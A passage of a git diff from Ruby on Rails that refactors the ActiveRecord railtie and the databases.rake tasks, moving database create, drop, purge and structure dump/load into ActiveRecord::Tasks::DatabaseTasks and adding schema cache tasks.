@@ -22,7 +22,20 @@ module ActiveRecord
     config.app_middleware.insert_after "::ActionDispatch::Callbacks",
       "ActiveRecord::ConnectionAdapters::ConnectionManagement"
 
+    config.action_dispatch.rescue_responses.merge!(
+      'ActiveRecord::RecordNotFound'   => :not_found,
+      'ActiveRecord::StaleObjectError' => :conflict,
+      'ActiveRecord::RecordInvalid'    => :unprocessable_entity,
+      'ActiveRecord::RecordNotSaved'   => :unprocessable_entity
+    )
+
+
+    config.active_record.use_schema_cache_dump = true
+
+    config.eager_load_namespaces << ActiveRecord
+
     rake_tasks do
+      require "active_record/base"
       load "active_record/railties/databases.rake"
     end
 
@@ -31,7 +44,13 @@ module ActiveRecord
     # first time. Also, make it output to STDERR.
     console do |app|
       require "active_record/railties/console_sandbox" if app.sandbox?
-      ActiveRecord::Base.logger = Logger.new(STDERR)
+      require "active_record/base"
+      console = ActiveSupport::Logger.new(STDERR)
+      Rails.logger.extend ActiveSupport::Logger.broadcast console
+    end
+
+    runner do |app|
+      require "active_record/base"
     end
 
     initializer "active_record.initialize_timezone" do
@@ -45,16 +64,34 @@ module ActiveRecord
       ActiveSupport.on_load(:active_record) { self.logger ||= ::Rails.logger }
     end
 
-    initializer "active_record.identity_map" do |app|
-      config.app_middleware.insert_after "::ActionDispatch::Callbacks",
-        "ActiveRecord::IdentityMap::Middleware" if config.active_record.delete(:identity_map)
+    initializer "active_record.migration_error" do |app|
+      if config.active_record.delete(:migration_error) == :page_load
+        config.app_middleware.insert_after "::ActionDispatch::Callbacks",
+          "ActiveRecord::Migration::CheckPending"
+      end
+    end
+
+    initializer "active_record.check_schema_cache_dump" do |app|
+      if config.active_record.delete(:use_schema_cache_dump)
+        config.after_initialize do |app|
+          ActiveSupport.on_load(:active_record) do
+            filename = File.join(app.config.paths["db"].first, "schema_cache.dump")
+    
+            if File.file?(filename)
+              cache = Marshal.load File.binread filename
+              if cache.version == ActiveRecord::Migrator.current_version
+                ActiveRecord::Model.connection.schema_cache = cache
+              else
+                warn "schema_cache.dump is expired. Current version is #{ActiveRecord::Migrator.current_version}, but cache version is #{cache.version}."
+              end
+            end
+          end
+        end
+      end
     end
 
     initializer "active_record.set_configs" do |app|
       ActiveSupport.on_load(:active_record) do
-        if app.config.active_record.delete(:whitelist_attributes)
-          attr_accessible(nil)
-        end
         app.config.active_record.each do |k,v|
           send "#{k}=", v
         end
@@ -65,7 +102,9 @@ module ActiveRecord
     # and then establishes the connection.
     initializer "active_record.initialize_database" do |app|
       ActiveSupport.on_load(:active_record) do
-        self.configurations = app.config.database_configuration
+        unless ENV['DATABASE_URL']
+          self.configurations = app.config.database_configuration
+        end
         establish_connection
       end
     end
@@ -78,23 +117,30 @@ module ActiveRecord
       end
     end
 
-    initializer "active_record.set_dispatch_hooks", :before => :set_clear_dependencies_hook do |app|
+    initializer "active_record.set_reloader_hooks" do |app|
+      hook = app.config.reload_classes_only_on_change ? :to_prepare : :to_cleanup
+
       ActiveSupport.on_load(:active_record) do
-        ActionDispatch::Reloader.to_cleanup do
-          ActiveRecord::Base.clear_reloadable_connections!
-          ActiveRecord::Base.clear_cache!
+        ActionDispatch::Reloader.send(hook) do
+          ActiveRecord::Model.clear_reloadable_connections!
+          ActiveRecord::Model.clear_cache!
         end
       end
     end
 
-    config.after_initialize do
+    initializer "active_record.add_watchable_files" do |app|
+      config.watchable_files.concat ["#{app.root}/db/schema.rb", "#{app.root}/db/structure.sql"]
+    end
+
+    config.after_initialize do |app|
       ActiveSupport.on_load(:active_record) do
-        instantiate_observers
+        ActiveRecord::Model.instantiate_observers
 
         ActionDispatch::Reloader.to_prepare do
-          ActiveRecord::Base.instantiate_observers
+          ActiveRecord::Model.instantiate_observers
         end
       end
+
     end
   end
 end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index 44848b3391..4e5ec4f739 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -1,8 +1,7 @@
-require 'active_support/core_ext/object/inclusion'
+require 'active_record'
 
 db_namespace = namespace :db do
-  task :load_config => :rails_env do
-    require 'active_record'
+  task :load_config do
     ActiveRecord::Base.configurations = Rails.application.config.database_configuration
     ActiveRecord::Migrator.migrations_paths = Rails.application.paths['db/migrate'].to_a
 
@@ -14,143 +13,46 @@ db_namespace = namespace :db do
   end
 
   namespace :create do
-    # desc 'Create all the local databases defined in config/database.yml'
     task :all => :load_config do
-      ActiveRecord::Base.configurations.each_value do |config|
-        # Skip entries that don't have a database key, such as the first entry here:
-        #
-        #  defaults: &defaults
-        #    adapter: mysql
-        #    username: root
-        #    password:
-        #    host: localhost
-        #
-        #  development:
-        #    database: blog_development
-        #    *defaults
-        next unless config['database']
-        # Only connect to local databases
-        local_database?(config) { create_database(config) }
-      end
+      ActiveRecord::Tasks::DatabaseTasks.create_all
     end
   end
 
   desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
-  task :create => :load_config do
-    configs_for_environment.each { |config| create_database(config) }
-  end
-
-  def mysql_creation_options(config)
-    @charset   = ENV['CHARSET']   || 'utf8'
-    @collation = ENV['COLLATION'] || 'utf8_unicode_ci'
-    {:charset => (config['charset'] || @charset), :collation => (config['collation'] || @collation)}
-  end
-
-  def create_database(config)
-    begin
-      if config['adapter'] =~ /sqlite/
-        if File.exist?(config['database'])
-          $stderr.puts "#{config['database']} already exists"
-        else
-          begin
-            # Create the SQLite database
-            ActiveRecord::Base.establish_connection(config)
-            ActiveRecord::Base.connection
-          rescue Exception => e
-            $stderr.puts e, *(e.backtrace)
-            $stderr.puts "Couldn't create database for #{config.inspect}"
-          end
-        end
-        return # Skip the else clause of begin/rescue
-      else
-        ActiveRecord::Base.establish_connection(config)
-        ActiveRecord::Base.connection
-      end
-    rescue
-      case config['adapter']
-      when /mysql/
-        if config['adapter'] =~ /jdbc/
-          #FIXME After Jdbcmysql gives this class
-          require 'active_record/railties/jdbcmysql_error'
-          error_class = ArJdbcMySQL::Error
-        else
-          error_class = config['adapter'] =~ /mysql2/ ? Mysql2::Error : Mysql::Error
-        end
-        access_denied_error = 1045
-        begin
-          ActiveRecord::Base.establish_connection(config.merge('database' => nil))
-          ActiveRecord::Base.connection.create_database(config['database'], mysql_creation_options(config))
-          ActiveRecord::Base.establish_connection(config)
-        rescue error_class => sqlerr
-          if sqlerr.errno == access_denied_error
-            print "#{sqlerr.error}. \nPlease provide the root password for your mysql installation\n>"
-            root_password = $stdin.gets.strip
-            grant_statement = "GRANT ALL PRIVILEGES ON #{config['database']}.* " \
-              "TO '#{config['username']}'@'localhost' " \
-              "IDENTIFIED BY '#{config['password']}' WITH GRANT OPTION;"
-            ActiveRecord::Base.establish_connection(config.merge(
-                'database' => nil, 'username' => 'root', 'password' => root_password))
-            ActiveRecord::Base.connection.create_database(config['database'], mysql_creation_options(config))
-            ActiveRecord::Base.connection.execute grant_statement
-            ActiveRecord::Base.establish_connection(config)
-          else
-            $stderr.puts sqlerr.error
-            $stderr.puts "Couldn't create database for #{config.inspect}, charset: #{config['charset'] || @charset}, collation: #{config['collation'] || @collation}"
-            $stderr.puts "(if you set the charset manually, make sure you have a matching collation)" if config['charset']
-          end
-        end
-      when /postgresql/
-        @encoding = config['encoding'] || ENV['CHARSET'] || 'utf8'
-        begin
-          ActiveRecord::Base.establish_connection(config.merge('database' => 'postgres', 'schema_search_path' => 'public'))
-          ActiveRecord::Base.connection.create_database(config['database'], config.merge('encoding' => @encoding))
-          ActiveRecord::Base.establish_connection(config)
-        rescue Exception => e
-          $stderr.puts e, *(e.backtrace)
-          $stderr.puts "Couldn't create database for #{config.inspect}"
-        end
-      end
-    else
-      # Bug with 1.9.2 Calling return within begin still executes else
-      $stderr.puts "#{config['database']} already exists" unless config['adapter'] =~ /sqlite/
-    end
+  task :create => [:load_config] do
+    ActiveRecord::Tasks::DatabaseTasks.create_current
   end
 
   namespace :drop do
-    # desc 'Drops all the local databases defined in config/database.yml'
     task :all => :load_config do
-      ActiveRecord::Base.configurations.each_value do |config|
-        # Skip entries that don't have a database key
-        next unless config['database']
-        begin
-          # Only connect to local databases
-          local_database?(config) { drop_database(config) }
-        rescue Exception => e
-          $stderr.puts "Couldn't drop #{config['database']} : #{e.inspect}"
-        end
-      end
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
     end
   end
 
   desc 'Drops the database for the current Rails.env (use db:drop:all to drop all databases)'
-  task :drop => :load_config do
-    configs_for_environment.each { |config| drop_database_and_rescue(config) }
+  task :drop => [:load_config] do
+    ActiveRecord::Tasks::DatabaseTasks.drop_current
   end
 
-  def local_database?(config, &block)
-    if config['host'].in?(['127.0.0.1', 'localhost']) || config['host'].blank?
-      yield
-    else
-      $stderr.puts "This task only modifies local databases. #{config['database']} is on a remote host."
+  desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
+  task :migrate => [:environment, :load_config] do
+    ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
+    ActiveRecord::Migrator.migrate(ActiveRecord::Migrator.migrations_paths, ENV["VERSION"] ? ENV["VERSION"].to_i : nil) do |migration|
+      ENV["SCOPE"].blank? || (ENV["SCOPE"] == migration.scope)
     end
+    db_namespace['_dump'].invoke
   end
 
-
-  desc "Migrate the database (options: VERSION=x, VERBOSE=false)."
-  task :migrate => [:environment, :load_config] do
-    ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
-    ActiveRecord::Migrator.migrate(ActiveRecord::Migrator.migrations_paths, ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
-    db_namespace["schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
+  task :_dump do
+    case ActiveRecord::Base.schema_format
+    when :ruby then db_namespace["schema:dump"].invoke
+    when :sql  then db_namespace["structure:dump"].invoke
+    else
+      raise "unknown schema format #{ActiveRecord::Base.schema_format}"
+    end
+    # Allow this task to be called as many times as required. An example is the
+    # migrate:redo task, which calls other two internally that depend on this one.
+    db_namespace['_dump'].reenable
   end
 
   namespace :migrate do
@@ -173,7 +75,7 @@ db_namespace = namespace :db do
       version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
       raise 'VERSION is required' unless version
       ActiveRecord::Migrator.run(:up, ActiveRecord::Migrator.migrations_paths, version)
-      db_namespace['schema:dump'].invoke if ActiveRecord::Base.schema_format == :ruby
+      db_namespace['_dump'].invoke
     end
 
     # desc 'Runs the "down" for a given migration VERSION.'
@@ -181,23 +83,24 @@ db_namespace = namespace :db do
       version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
       raise 'VERSION is required' unless version
       ActiveRecord::Migrator.run(:down, ActiveRecord::Migrator.migrations_paths, version)
-      db_namespace['schema:dump'].invoke if ActiveRecord::Base.schema_format == :ruby
+      db_namespace['_dump'].invoke
     end
 
     desc 'Display status of migrations'
     task :status => [:environment, :load_config] do
-      config = ActiveRecord::Base.configurations[Rails.env || 'development']
+      config = ActiveRecord::Base.configurations[Rails.env]
       ActiveRecord::Base.establish_connection(config)
       unless ActiveRecord::Base.connection.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
         puts 'Schema migrations table does not exist yet.'
         next  # means "return" for rake task
       end
       db_list = ActiveRecord::Base.connection.select_values("SELECT version FROM #{ActiveRecord::Migrator.schema_migrations_table_name}")
+      db_list.map! { |version| "%.3d" % version }
       file_list = []
       ActiveRecord::Migrator.migrations_paths.each do |path|
         Dir.foreach(path) do |file|
-          # only files matching "20091231235959_some_name.rb" pattern
-          if match_data = /^(\d{14})_(.+)\.rb$/.match(file)
+          # match "20091231235959_some_name.rb" and "001_some_name.rb" pattern
+          if match_data = /^(\d{3,})_(.+)\.rb$/.match(file)
             status = db_list.delete(match_data[1]) ? 'up' : 'down'
             file_list << [status, match_data[1], match_data[2].humanize]
           end
@@ -221,93 +124,79 @@ db_namespace = namespace :db do
   task :rollback => [:environment, :load_config] do
     step = ENV['STEP'] ? ENV['STEP'].to_i : 1
     ActiveRecord::Migrator.rollback(ActiveRecord::Migrator.migrations_paths, step)
-    db_namespace['schema:dump'].invoke if ActiveRecord::Base.schema_format == :ruby
+    db_namespace['_dump'].invoke
   end
 
   # desc 'Pushes the schema to the next version (specify steps w/ STEP=n).'
   task :forward => [:environment, :load_config] do
     step = ENV['STEP'] ? ENV['STEP'].to_i : 1
     ActiveRecord::Migrator.forward(ActiveRecord::Migrator.migrations_paths, step)
-    db_namespace['schema:dump'].invoke if ActiveRecord::Base.schema_format == :ruby
+    db_namespace['_dump'].invoke
   end
 
   # desc 'Drops and recreates the database from db/schema.rb for the current environment and loads the seeds.'
-  task :reset => [ 'db:drop', 'db:setup' ]
+  task :reset => [:environment, :load_config] do
+    db_namespace["drop"].invoke
+    db_namespace["setup"].invoke
+  end
 
   # desc "Retrieves the charset for the current environment's database"
-  task :charset => :environment do
-    config = ActiveRecord::Base.configurations[Rails.env || 'development']
-    case config['adapter']
-    when /mysql/
-      ActiveRecord::Base.establish_connection(config)
-      puts ActiveRecord::Base.connection.charset
-    when /postgresql/
-      ActiveRecord::Base.establish_connection(config)
-      puts ActiveRecord::Base.connection.encoding
-    when /sqlite/
-      ActiveRecord::Base.establish_connection(config)
-      puts ActiveRecord::Base.connection.encoding
-    else
-      $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-    end
+  task :charset => [:environment, :load_config] do
+    puts ActiveRecord::Tasks::DatabaseTasks.charset_current
   end
 
   # desc "Retrieves the collation for the current environment's database"
-  task :collation => :environment do
-    config = ActiveRecord::Base.configurations[Rails.env || 'development']
-    case config['adapter']
-    when /mysql/
-      ActiveRecord::Base.establish_connection(config)
-      puts ActiveRecord::Base.connection.collation
-    else
-      $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+  task :collation => [:environment, :load_config] do
+    begin
+      puts ActiveRecord::Tasks::DatabaseTasks.collation_current
+    rescue NoMethodError
+      $stderr.puts 'Sorry, your database adapter is not supported yet, feel free to submit a patch'
     end
   end
 
   desc 'Retrieves the current schema version number'
-  task :version => :environment do
+  task :version => [:environment, :load_config] do
     puts "Current version: #{ActiveRecord::Migrator.current_version}"
   end
 
   # desc "Raises an error if there are pending migrations"
-  task :abort_if_pending_migrations => :environment do
-    if defined? ActiveRecord
-      pending_migrations = ActiveRecord::Migrator.new(:up, ActiveRecord::Migrator.migrations_paths).pending_migrations
-
-      if pending_migrations.any?
-        puts "You have #{pending_migrations.size} pending migrations:"
-        pending_migrations.each do |pending_migration|
-          puts '  %4d %s' % [pending_migration.version, pending_migration.name]
-        end
-        abort %{Run `rake db:migrate` to update your database then try again.}
+  task :abort_if_pending_migrations => [:environment, :load_config] do
+    pending_migrations = ActiveRecord::Migrator.new(:up, ActiveRecord::Migrator.migrations_paths).pending_migrations
+
+    if pending_migrations.any?
+      puts "You have #{pending_migrations.size} pending migrations:"
+      pending_migrations.each do |pending_migration|
+        puts '  %4d %s' % [pending_migration.version, pending_migration.name]
       end
+      abort %{Run `rake db:migrate` to update your database then try again.}
     end
   end
 
   desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)'
-  task :setup => [ 'db:create', 'db:schema:load', 'db:seed' ]
+  task :setup => ['db:schema:load_if_ruby', 'db:structure:load_if_sql', :seed]
 
   desc 'Load the seed data from db/seeds.rb'
-  task :seed => 'db:abort_if_pending_migrations' do
+  task :seed do
+    db_namespace['abort_if_pending_migrations'].invoke
     Rails.application.load_seed
   end
 
   namespace :fixtures do
     desc "Load fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
-    task :load => :environment do
+    task :load => [:environment, :load_config] do
       require 'active_record/fixtures'
 
       ActiveRecord::Base.establish_connection(Rails.env)
       base_dir     = File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
       fixtures_dir = File.join [base_dir, ENV['FIXTURES_DIR']].compact
 
-      (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir["#{fixtures_dir}/**/*.{yml,csv}"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
+      (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
         ActiveRecord::Fixtures.create_fixtures(fixtures_dir, fixture_file)
       end
     end
 
     # desc "Search for a fixture given a LABEL or ID. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
-    task :identify => :environment do
+    task :identify => [:environment, :load_config] do
       require 'active_record/fixtures'
 
       label, id = ENV['LABEL'], ENV['ID']
@@ -343,7 +232,7 @@ db_namespace = namespace :db do
     end
 
     desc 'Load a schema.rb file into the database'
-    task :load => :environment do
+    task :load => [:environment, :load_config] do
       file = ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb"
       if File.exists?(file)
         load(file)
@@ -351,104 +240,148 @@ db_namespace = namespace :db do
         abort %{#{file} doesn't exist yet. Run `rake db:migrate` to create it then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded}
       end
     end
+
+    task :load_if_ruby => [:environment, 'db:create'] do
+      db_namespace["schema:load"].invoke if ActiveRecord::Base.schema_format == :ruby
+    end
+
+    namespace :cache do
+      desc 'Create a db/schema_cache.dump file.'
+      task :dump => [:environment, :load_config] do
+        con = ActiveRecord::Base.connection
+        filename = File.join(Rails.application.config.paths["db"].first, "schema_cache.dump")
+
+        con.schema_cache.clear!
+        con.tables.each { |table| con.schema_cache.add(table) }
+        open(filename, 'wb') { |f| f.write(Marshal.dump(con.schema_cache)) }
+      end
+
+      desc 'Clear a db/schema_cache.dump file.'
+      task :clear => [:environment, :load_config] do
+        filename = File.join(Rails.application.config.paths["db"].first, "schema_cache.dump")
+        FileUtils.rm(filename) if File.exists?(filename)
+      end
+    end
+
   end
 
   namespace :structure do
-    desc 'Dump the database structure to an SQL file'
-    task :dump => :environment do
+    def set_firebird_env(config)
+      ENV['ISC_USER']     = config['username'].to_s if config['username']
+      ENV['ISC_PASSWORD'] = config['password'].to_s if config['password']
+    end
+
+    def firebird_db_string(config)
+      FireRuby::Database.db_string_for(config.symbolize_keys)
+    end
+
+    desc 'Dump the database structure to db/structure.sql. Specify another file with DB_STRUCTURE=db/my_structure.sql'
+    task :dump => [:environment, :load_config] do
       abcs = ActiveRecord::Base.configurations
+      filename = ENV['DB_STRUCTURE'] || File.join(Rails.root, "db", "structure.sql")
       case abcs[Rails.env]['adapter']
-      when /mysql/, 'oci', 'oracle'
+      when /mysql/, /postgresql/, /sqlite/
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(abcs[Rails.env], filename)
+      when 'oci', 'oracle'
         ActiveRecord::Base.establish_connection(abcs[Rails.env])
-        File.open("#{Rails.root}/db/#{Rails.env}_structure.sql", "w+") { |f| f << ActiveRecord::Base.connection.structure_dump }
-      when /postgresql/
-        ENV['PGHOST']     = abcs[Rails.env]['host'] if abcs[Rails.env]['host']
-        ENV['PGPORT']     = abcs[Rails.env]["port"].to_s if abcs[Rails.env]['port']
-        ENV['PGPASSWORD'] = abcs[Rails.env]['password'].to_s if abcs[Rails.env]['password']
-        search_path = abcs[Rails.env]['schema_search_path']
-        unless search_path.blank?
-          search_path = search_path.split(",").map{|search_path_part| "--schema=#{search_path_part.strip}" }.join(" ")
-        end
-        `pg_dump -i -U "#{abcs[Rails.env]['username']}" -s -x -O -f db/#{Rails.env}_structure.sql #{search_path} #{abcs[Rails.env]['database']}`
-        raise 'Error dumping database' if $?.exitstatus == 1
-      when /sqlite/
-        dbfile = abcs[Rails.env]['database'] || abcs[Rails.env]['dbfile']
-        `sqlite3 #{dbfile} .schema > db/#{Rails.env}_structure.sql`
+        File.open(filename, "w:utf-8") { |f| f << ActiveRecord::Base.connection.structure_dump }
       when 'sqlserver'
-        `smoscript -s #{abcs[Rails.env]['host']} -d #{abcs[Rails.env]['database']} -u #{abcs[Rails.env]['username']} -p #{abcs[Rails.env]['password']} -f db\\#{Rails.env}_structure.sql -A -U`
+        `smoscript -s #{abcs[Rails.env]['host']} -d #{abcs[Rails.env]['database']} -u #{abcs[Rails.env]['username']} -p #{abcs[Rails.env]['password']} -f #{filename} -A -U`
       when "firebird"
         set_firebird_env(abcs[Rails.env])
         db_string = firebird_db_string(abcs[Rails.env])
-        sh "isql -a #{db_string} > #{Rails.root}/db/#{Rails.env}_structure.sql"
+        sh "isql -a #{db_string} > #{filename}"
       else
         raise "Task not supported by '#{abcs[Rails.env]["adapter"]}'"
       end
 
       if ActiveRecord::Base.connection.supports_migrations?
-        File.open("#{Rails.root}/db/#{Rails.env}_structure.sql", "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information }
+        File.open(filename, "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information }
       end
+      db_namespace['structure:dump'].reenable
     end
-  end
 
-  namespace :test do
-    # desc "Recreate the test database from the current schema.rb"
-    task :load => 'db:test:purge' do
-      ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
-      ActiveRecord::Schema.verbose = false
-      db_namespace['schema:load'].invoke
-    end
-
-    # desc "Recreate the test database from the current environment's database schema"
-    task :clone => %w(db:schema:dump db:test:load)
+    # desc "Recreate the databases from the structure.sql file"
+    task :load => [:environment, :load_config] do
+      env = ENV['RAILS_ENV'] || 'test'
 
-    # desc "Recreate the test databases from the development structure"
-    task :clone_structure => [ 'db:structure:dump', 'db:test:purge' ] do
       abcs = ActiveRecord::Base.configurations
-      case abcs['test']['adapter']
-      when /mysql/
-        ActiveRecord::Base.establish_connection(:test)
-        ActiveRecord::Base.connection.execute('SET foreign_key_checks = 0')
-        IO.readlines("#{Rails.root}/db/#{Rails.env}_structure.sql").join.split("\n\n").each do |table|
-          ActiveRecord::Base.connection.execute(table)
-        end
-      when /postgresql/
-        ENV['PGHOST']     = abcs['test']['host'] if abcs['test']['host']
-        ENV['PGPORT']     = abcs['test']['port'].to_s if abcs['test']['port']
-        ENV['PGPASSWORD'] = abcs['test']['password'].to_s if abcs['test']['password']
-        `psql -U "#{abcs['test']['username']}" -f "#{Rails.root}/db/#{Rails.env}_structure.sql" #{abcs['test']['database']} #{abcs['test']['template']}`
-      when /sqlite/
-        dbfile = abcs['test']['database'] || abcs['test']['dbfile']
-        `sqlite3 #{dbfile} < "#{Rails.root}/db/#{Rails.env}_structure.sql"`
+      filename = ENV['DB_STRUCTURE'] || File.join(Rails.root, "db", "structure.sql")
+      case abcs[env]['adapter']
+      when /mysql/, /postgresql/, /sqlite/
+        ActiveRecord::Tasks::DatabaseTasks.structure_load(abcs[env], filename)
       when 'sqlserver'
-        `sqlcmd -S #{abcs['test']['host']} -d #{abcs['test']['database']} -U #{abcs['test']['username']} -P #{abcs['test']['password']} -i db\\#{Rails.env}_structure.sql`
+        `sqlcmd -S #{abcs[env]['host']} -d #{abcs[env]['database']} -U #{abcs[env]['username']} -P #{abcs[env]['password']} -i #{filename}`
       when 'oci', 'oracle'
-        ActiveRecord::Base.establish_connection(:test)
-        IO.readlines("#{Rails.root}/db/#{Rails.env}_structure.sql").join.split(";\n\n").each do |ddl|
+        ActiveRecord::Base.establish_connection(abcs[env])
+        IO.read(filename).split(";\n\n").each do |ddl|
           ActiveRecord::Base.connection.execute(ddl)
         end
       when 'firebird'
-        set_firebird_env(abcs['test'])
-        db_string = firebird_db_string(abcs['test'])
-        sh "isql -i #{Rails.root}/db/#{Rails.env}_structure.sql #{db_string}"
+        set_firebird_env(abcs[env])
+        db_string = firebird_db_string(abcs[env])
+        sh "isql -i #{filename} #{db_string}"
       else
-        raise "Task not supported by '#{abcs['test']['adapter']}'"
+        raise "Task not supported by '#{abcs[env]['adapter']}'"
+      end
+    end
+
+    task :load_if_sql => [:environment, 'db:create'] do
+      db_namespace["structure:load"].invoke if ActiveRecord::Base.schema_format == :sql
+    end
+  end
+
+  namespace :test do
+
+    # desc "Recreate the test database from the current schema"
+    task :load => 'db:test:purge' do
+      case ActiveRecord::Base.schema_format
+        when :ruby
+          db_namespace["test:load_schema"].invoke
+        when :sql
+          db_namespace["test:load_structure"].invoke
+      end
+    end
+
+    # desc "Recreate the test database from an existent schema.rb file"
+    task :load_schema => 'db:test:purge' do
+      ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
+      ActiveRecord::Schema.verbose = false
+      db_namespace["schema:load"].invoke
+    end
+
+    # desc "Recreate the test database from an existent structure.sql file"
+    task :load_structure => 'db:test:purge' do
+      begin
+        old_env, ENV['RAILS_ENV'] = ENV['RAILS_ENV'], 'test'
+        db_namespace["structure:load"].invoke
+      ensure
+        ENV['RAILS_ENV'] = old_env
       end
     end
 
+    # desc "Recreate the test database from a fresh schema"
+    task :clone do
+      case ActiveRecord::Base.schema_format
+        when :ruby
+          db_namespace["test:clone_schema"].invoke
+        when :sql
+          db_namespace["test:clone_structure"].invoke
+      end
+    end
+
+    # desc "Recreate the test database from a fresh schema.rb file"
+    task :clone_schema => ["db:schema:dump", "db:test:load_schema"]
+
+    # desc "Recreate the test database from a fresh structure.sql file"
+    task :clone_structure => [ "db:structure:dump", "db:test:load_structure" ]
+
     # desc "Empty the test database"
-    task :purge => :environment do
+    task :purge => [:environment, :load_config] do
       abcs = ActiveRecord::Base.configurations
       case abcs['test']['adapter']
-      when /mysql/
-        ActiveRecord::Base.establish_connection(:test)
-        ActiveRecord::Base.connection.recreate_database(abcs['test']['database'], mysql_creation_options(abcs['test']))
-      when /postgresql/
-        ActiveRecord::Base.clear_active_connections!
-        drop_database(abcs['test'])
-        create_database(abcs['test'])
-      when /sqlite/
-        dbfile = abcs['test']['database'] || abcs['test']['dbfile']
-        File.delete(dbfile) if File.exist?(dbfile)
+      when /mysql/, /postgresql/, /sqlite/
+        ActiveRecord::Tasks::DatabaseTasks.purge abcs['test']
       when 'sqlserver'
         test = abcs.deep_dup['test']
         test_database = test['database']
@@ -470,15 +403,15 @@ db_namespace = namespace :db do
 
     # desc 'Check for pending migrations and load the test schema'
     task :prepare => 'db:abort_if_pending_migrations' do
-      if defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
-        db_namespace[{ :sql  => 'test:clone_structure', :ruby => 'test:load' }[ActiveRecord::Base.schema_format]].invoke
+      unless ActiveRecord::Base.configurations.blank?
+        db_namespace['test:load'].invoke
       end
     end
   end
 
   namespace :sessions do
     # desc "Creates a sessions migration for use with ActiveRecord::SessionStore"
-    task :create => :environment do
+    task :create => [:environment, :load_config] do
       raise 'Task unavailable to this database (no migration support)' unless ActiveRecord::Base.connection.supports_migrations?
       Rails.application.load_generators
       require 'rails/generators/rails/session_migration/session_migration_generator'
@@ -486,19 +419,19 @@ db_namespace = namespace :db do
     end
 
     # desc "Clear the sessions table"
-    task :clear => :environment do
-      ActiveRecord::Base.connection.execute "DELETE FROM #{session_table_name}"
+    task :clear => [:environment, :load_config] do
+      ActiveRecord::Base.connection.execute "DELETE FROM #{ActiveRecord::SessionStore::Session.table_name}"
     end
   end
 end
 
 namespace :railties do
   namespace :install do
-    # desc "Copies missing migrations from Railties (e.g. plugins, engines). You can specify Railties to use with FROM=railtie1,railtie2"
+    # desc "Copies missing migrations from Railties (e.g. engines). You can specify Railties to use with FROM=railtie1,railtie2"
     task :migrations => :'db:load_config' do
       to_load = ENV['FROM'].blank? ? :all : ENV['FROM'].split(",").map {|n| n.strip }
-      railties = ActiveSupport::OrderedHash.new
-      Rails.application.railties.all do |railtie|
+      railties = {}
+      Rails.application.railties.each do |railtie|
         next unless to_load == :all || to_load.include?(railtie.railtie_name)
 
         if railtie.respond_to?(:paths) && (path = railtie.paths['db/migrate'].first)
@@ -514,7 +447,7 @@ namespace :railties do
         puts "Copied migration #{migration.basename} from #{name}"
       end
 
-      ActiveRecord::Migration.copy( ActiveRecord::Migrator.migrations_paths.first, railties,
+      ActiveRecord::Migration.copy(ActiveRecord::Migrator.migrations_paths.first, railties,
                                     :on_skip => on_skip, :on_copy => on_copy)
     end
   end
@@ -522,46 +455,3 @@ end
 
 task 'test:prepare' => 'db:test:prepare'
 
-def drop_database(config)
-  case config['adapter']
-  when /mysql/
-    ActiveRecord::Base.establish_connection(config)
-    ActiveRecord::Base.connection.drop_database config['database']
-  when /sqlite/
-    require 'pathname'
-    path = Pathname.new(config['database'])
-    file = path.absolute? ? path.to_s : File.join(Rails.root, path)
-
-    FileUtils.rm(file)
-  when /postgresql/
-    ActiveRecord::Base.establish_connection(config.merge('database' => 'postgres', 'schema_search_path' => 'public'))
-    ActiveRecord::Base.connection.drop_database config['database']
-  end
-end
-
-def drop_database_and_rescue(config)
-  begin
-    drop_database(config)
-  rescue Exception => e
-    $stderr.puts "Couldn't drop #{config['database']} : #{e.inspect}"
-  end
-end
-
-def configs_for_environment
-  environments = [Rails.env]
-  environments << 'test' if Rails.env.development?
-  ActiveRecord::Base.configurations.values_at(*environments).compact.reject { |config| config['database'].blank? }
-end
-
-def session_table_name
-  ActiveRecord::SessionStore::Session.table_name
-end
-
-def set_firebird_env(config)
-  ENV['ISC_USER']     = config['username'].to_s if config['username']
-  ENV['ISC_PASSWORD'] = config['password'].to_s if config['password']
-end
-
-def firebird_db_string(config)
-  FireRuby::Database.db_string_for(config.symbolize_keys)
-end
diff --git a/activerecord/lib/active_record/railties/jdbcmysql_error.rb b/activerecord/lib/active_record/railties/jdbcmysql_error.rb
index 6b9af2a0cb..6a38211bff 100644
--- a/activerecord/lib/active_record/railties/jdbcmysql_error.rb
